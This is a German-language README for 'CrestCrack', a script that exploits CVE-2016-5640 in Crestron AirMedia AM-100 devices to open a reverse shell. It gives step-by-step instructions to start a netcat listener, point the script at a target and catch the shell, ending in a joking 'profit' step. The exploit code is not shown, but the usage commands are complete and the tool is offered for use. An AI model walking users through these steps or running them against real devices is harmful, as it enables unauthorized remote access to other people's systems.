CrestCrack

CrestCrack ist ein einfaches Skript, das CVE-2016-5640 / CLVA-2016-05-002 in der Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1) ausnutzt. Bei Angabe von Argumenten nutzt CrestCrack netcat, um eine Reverse Shell zwischen Ihrem Ziel und einem netcat-Listener Ihrer Wahl zu erstellen.

Einrichtung:

1. Klonen Sie eine Kopie von CrestCrack git clone https://github.com/vpnguy/CrestCrack
2. Starten Sie einen netcat-Listener nc -lvp 1337
3. Führen Sie CrestCrack mit Ihren Listener-Informationen gegen Ihr Ziel aus ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. GEWINN

Verwendung:

./crescrack.py [Ziel-Host] [Listener-IP] [Listener-Port]

Beispiel:

./crescrack.py https://targethost 123.123.123.123 3311

Zusätzliche Informationen zur Schwachstelle:

Cylance Vulnerability Disclosure

NIST CVE-2016-5640

Noch hinzuzufügen:

• Fehlerbehandlung/Grenzprüfung
• Erweiterte Argumentunterstützung
• --help-Ausgabe